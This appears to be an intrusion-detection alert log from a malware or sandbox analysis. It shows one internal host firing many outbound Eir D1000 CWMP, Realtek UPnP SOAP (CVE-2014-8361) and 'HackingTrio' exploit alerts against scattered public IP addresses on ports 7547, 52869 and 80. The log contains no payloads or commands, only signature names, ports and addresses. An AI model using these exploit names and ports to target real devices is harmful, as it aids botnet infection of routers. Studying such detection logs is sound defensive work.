Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.140.1.5

Timestamp:	04/15/24-08:53:30.238825
SID:	2023548
Source Port:	35522
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.122.51.36

Timestamp:	04/15/24-08:53:46.591776
SID:	2023548
Source Port:	41978
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 66.61.113.246

Timestamp:	04/15/24-08:52:28.539185
SID:	2023548
Source Port:	42244
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.168.100.247

Timestamp:	04/15/24-08:53:07.896301
SID:	2023548
Source Port:	46904
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 162.253.102.7

Timestamp:	04/15/24-08:52:28.625311
SID:	2023548
Source Port:	43448
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.138.73.42

Timestamp:	04/15/24-08:52:57.052610
SID:	2023548
Source Port:	60110
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.116.193.44

Timestamp:	04/15/24-08:53:53.075774
SID:	2023548
Source Port:	35148
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 175.194.152.91

Timestamp:	04/15/24-08:52:52.832440
SID:	2025576
Source Port:	59420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.108.31.16

Timestamp:	04/15/24-08:52:58.010777
SID:	2023548
Source Port:	39718
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.189.160.241

Timestamp:	04/15/24-08:52:15.859417
SID:	2023548
Source Port:	37568
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.176.90.210

Timestamp:	04/15/24-08:53:25.914914
SID:	2023548
Source Port:	51772
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 13.126.135.123

Timestamp:	04/15/24-08:53:28.973127
SID:	2025576
Source Port:	50698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 74.134.70.250

Timestamp:	04/15/24-08:53:10.368122
SID:	2023548
Source Port:	33238
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 91.132.250.238

Timestamp:	04/15/24-08:52:33.176872
SID:	2025576
Source Port:	42266
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 115.84.252.169

Timestamp:	04/15/24-08:53:21.803307
SID:	2025576
Source Port:	46662
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 46.61.109.54

Timestamp:	04/15/24-08:53:49.272030
SID:	2023548
Source Port:	56396
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.171.141.228

Timestamp:	04/15/24-08:53:29.817951
SID:	2023548
Source Port:	57116
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.178.123

Timestamp:	04/15/24-08:53:42.811109
SID:	2023548
Source Port:	35796
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.41.141.26

Timestamp:	04/15/24-08:52:13.374903
SID:	2023548
Source Port:	55268
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 154.55.225.106

Timestamp:	04/15/24-08:52:43.879239
SID:	2025576
Source Port:	35814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 92.45.162.26

Timestamp:	04/15/24-08:52:41.648522
SID:	2023548
Source Port:	42890
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.228.147.138

Timestamp:	04/15/24-08:53:29.811623
SID:	2023548
Source Port:	42382
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.250.228.64

Timestamp:	04/15/24-08:52:40.862025
SID:	2027339
Source Port:	38160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.54.100.108

Timestamp:	04/15/24-08:52:52.053936
SID:	2023548
Source Port:	54852
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 13.76.93.10

Timestamp:	04/15/24-08:52:53.142240
SID:	2025576
Source Port:	47674
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.34.64.177

Timestamp:	04/15/24-08:53:12.645035
SID:	2023548
Source Port:	59122
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 179.104.77.188

Timestamp:	04/15/24-08:53:47.605146
SID:	2023548
Source Port:	37270
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.204.122.75

Timestamp:	04/15/24-08:52:48.245274
SID:	2025576
Source Port:	35628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.65.125.29

Timestamp:	04/15/24-08:53:14.961601
SID:	2023548
Source Port:	43186
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.203.76.132

Timestamp:	04/15/24-08:52:51.447588
SID:	2023548
Source Port:	46460
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.250.42.94

Timestamp:	04/15/24-08:53:08.939987
SID:	2023548
Source Port:	60990
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 31.136.74.211

Timestamp:	04/15/24-08:52:58.829174
SID:	2023548
Source Port:	59120
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 27.19.253.176

Timestamp:	04/15/24-08:53:16.963613
SID:	2025576
Source Port:	58742
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.169.204.53

Timestamp:	04/15/24-08:52:56.205036
SID:	2023548
Source Port:	51994
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 160.141.49.1

Timestamp:	04/15/24-08:52:31.380682
SID:	2831300
Source Port:	55288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 66.22.57.83

Timestamp:	04/15/24-08:53:51.613250
SID:	2025576
Source Port:	37718
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.95.223.240

Timestamp:	04/15/24-08:52:23.023703
SID:	2023548
Source Port:	34078
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.7.149.198

Timestamp:	04/15/24-08:53:00.092510
SID:	2025576
Source Port:	34162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.124.236.206

Timestamp:	04/15/24-08:53:43.789496
SID:	2023548
Source Port:	60632
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.82.7.71

Timestamp:	04/15/24-08:52:43.000264
SID:	2023548
Source Port:	36630
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.171.208.226

Timestamp:	04/15/24-08:53:54.005083
SID:	2023548
Source Port:	45880
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 188.138.203.45

Timestamp:	04/15/24-08:53:43.237315
SID:	2023548
Source Port:	46024
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 142.250.11.94

Timestamp:	04/15/24-08:52:15.785249
SID:	2025576
Source Port:	47714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 68.80.251.103

Timestamp:	04/15/24-08:52:52.673217
SID:	2025576
Source Port:	58760
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.60.191.111

Timestamp:	04/15/24-08:53:34.612336
SID:	2025576
Source Port:	60926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.248.78.18

Timestamp:	04/15/24-08:52:14.532755
SID:	2025132
Source Port:	54212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.199.32.244

Timestamp:	04/15/24-08:52:49.431346
SID:	2023548
Source Port:	60092
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 216.118.152.111

Timestamp:	04/15/24-08:53:50.068737
SID:	2023548
Source Port:	41534
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.138.73.42

Timestamp:	04/15/24-08:52:56.766152
SID:	2023548
Source Port:	60092
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.136.133.160

Timestamp:	04/15/24-08:53:15.451288
SID:	2027339
Source Port:	56688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.31.147.68

Timestamp:	04/15/24-08:52:55.392966
SID:	2023548
Source Port:	35676
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 13.59.25.223

Timestamp:	04/15/24-08:53:34.978977
SID:	2025576
Source Port:	36610
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.101.168.128

Timestamp:	04/15/24-08:53:42.407634
SID:	2023548
Source Port:	37264
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.164.242.11

Timestamp:	04/15/24-08:52:23.278624
SID:	2023548
Source Port:	45238
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.254.156.230

Timestamp:	04/15/24-08:53:21.524091
SID:	2023548
Source Port:	53672
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.157.45.8

Timestamp:	04/15/24-08:53:47.892444
SID:	2023548
Source Port:	51518
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.197.62.75

Timestamp:	04/15/24-08:52:36.718706
SID:	2023548
Source Port:	47648
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.203.41.60

Timestamp:	04/15/24-08:53:58.216310
SID:	2025576
Source Port:	52090
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.122.143.163

Timestamp:	04/15/24-08:53:24.886320
SID:	2023548
Source Port:	49208
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.192.56.69

Timestamp:	04/15/24-08:53:48.240742
SID:	2023548
Source Port:	48154
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.104.133.207

Timestamp:	04/15/24-08:52:20.012831
SID:	2023548
Source Port:	56388
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.108.139.103

Timestamp:	04/15/24-08:53:01.949211
SID:	2023548
Source Port:	56106
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.117.6.143

Timestamp:	04/15/24-08:53:37.439583
SID:	2023548
Source Port:	34572
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.141.82.82

Timestamp:	04/15/24-08:52:59.821986
SID:	2027339
Source Port:	56256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 107.175.235.47

Timestamp:	04/15/24-08:53:02.924995
SID:	2025576
Source Port:	58558
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 121.5.152.99

Timestamp:	04/15/24-08:53:21.792542
SID:	2025576
Source Port:	59452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.96.210.170

Timestamp:	04/15/24-08:52:57.161632
SID:	2023548
Source Port:	48628
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.106.237.219

Timestamp:	04/15/24-08:53:48.893069
SID:	2023548
Source Port:	47106
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 45.43.195.81

Timestamp:	04/15/24-08:53:49.219085
SID:	2025576
Source Port:	36172
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.0.222.101

Timestamp:	04/15/24-08:52:28.655351
SID:	2023548
Source Port:	56648
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.56.61.19

Timestamp:	04/15/24-08:53:37.451224
SID:	2023548
Source Port:	53494
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.117.159.7

Timestamp:	04/15/24-08:53:42.120594
SID:	2023548
Source Port:	49612
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.132.218.129

Timestamp:	04/15/24-08:52:43.282517
SID:	2023548
Source Port:	36202
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 152.249.184.17

Timestamp:	04/15/24-08:52:57.804906
SID:	2023548
Source Port:	33826
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.34.5.73

Timestamp:	04/15/24-08:53:29.369169
SID:	2023548
Source Port:	39934
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.167.49.14

Timestamp:	04/15/24-08:53:48.182332
SID:	2023548
Source Port:	33442
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.45.106.253

Timestamp:	04/15/24-08:53:55.585484
SID:	2023548
Source Port:	36350
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 52.85.13.219

Timestamp:	04/15/24-08:52:43.900423
SID:	2025576
Source Port:	42236
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.23.216.29

Timestamp:	04/15/24-08:52:35.621968
SID:	2023548
Source Port:	46418
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 142.129.49.50

Timestamp:	04/15/24-08:52:41.813495
SID:	2023548
Source Port:	42346
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 86.149.161.46

Timestamp:	04/15/24-08:53:07.844858
SID:	2025576
Source Port:	36848
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.158.31.110

Timestamp:	04/15/24-08:52:49.844389
SID:	2023548
Source Port:	55696
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.84.221.187

Timestamp:	04/15/24-08:52:40.725926
SID:	2023548
Source Port:	51996
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.254.156.230

Timestamp:	04/15/24-08:53:21.752978
SID:	2023548
Source Port:	53758
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.191.172.250

Timestamp:	04/15/24-08:53:49.116931
SID:	2023548
Source Port:	53606
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 208.112.192.208

Timestamp:	04/15/24-08:52:27.603438
SID:	2831300
Source Port:	43614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.16.125.23

Timestamp:	04/15/24-08:52:13.839921
SID:	2023548
Source Port:	43834
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.167.43.27

Timestamp:	04/15/24-08:52:28.725482
SID:	2023548
Source Port:	60884
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.237.58.152

Timestamp:	04/15/24-08:53:43.151404
SID:	2023548
Source Port:	43238
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.78.64.182

Timestamp:	04/15/24-08:53:56.491642
SID:	2023548
Source Port:	33556
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.230.240.40

Timestamp:	04/15/24-08:53:09.136449
SID:	2023548
Source Port:	38762
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 80.111.199.200

Timestamp:	04/15/24-08:52:13.639608
SID:	2023548
Source Port:	42640
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.96.210.170

Timestamp:	04/15/24-08:52:57.557157
SID:	2023548
Source Port:	48646
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 78.134.22.36

Timestamp:	04/15/24-08:53:00.566240
SID:	2023548
Source Port:	51904
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.123.13.61

Timestamp:	04/15/24-08:52:36.946646
SID:	2023548
Source Port:	39182
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 74.141.209.0

Timestamp:	04/15/24-08:52:49.905038
SID:	2023548
Source Port:	50484
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.16.125.23

Timestamp:	04/15/24-08:52:14.135887
SID:	2023548
Source Port:	43864
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.91.185.85

Timestamp:	04/15/24-08:53:34.441017
SID:	2025576
Source Port:	58334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.63.123.44

Timestamp:	04/15/24-08:53:37.851243
SID:	2025576
Source Port:	34386
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.7.4.160

Timestamp:	04/15/24-08:53:50.478014
SID:	2025576
Source Port:	44734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 182.16.188.82

Timestamp:	04/15/24-08:53:07.141454
SID:	2027339
Source Port:	56252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.191.172.250

Timestamp:	04/15/24-08:53:48.827882
SID:	2023548
Source Port:	53582
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.76.199.217

Timestamp:	04/15/24-08:53:56.071129
SID:	2023548
Source Port:	35644
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.1.111.23

Timestamp:	04/15/24-08:53:51.358678
SID:	2023548
Source Port:	45218
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.120.90.132

Timestamp:	04/15/24-08:53:04.607640
SID:	2023548
Source Port:	57072
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.164.11.248

Timestamp:	04/15/24-08:53:05.422518
SID:	2023548
Source Port:	43730
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.127.205.169

Timestamp:	04/15/24-08:53:32.091721
SID:	2023548
Source Port:	38434
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.151.234.184

Timestamp:	04/15/24-08:53:57.079094
SID:	2023548
Source Port:	59580
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 58.146.66.66

Timestamp:	04/15/24-08:53:49.749343
SID:	2023548
Source Port:	36834
Destination Port:	7547
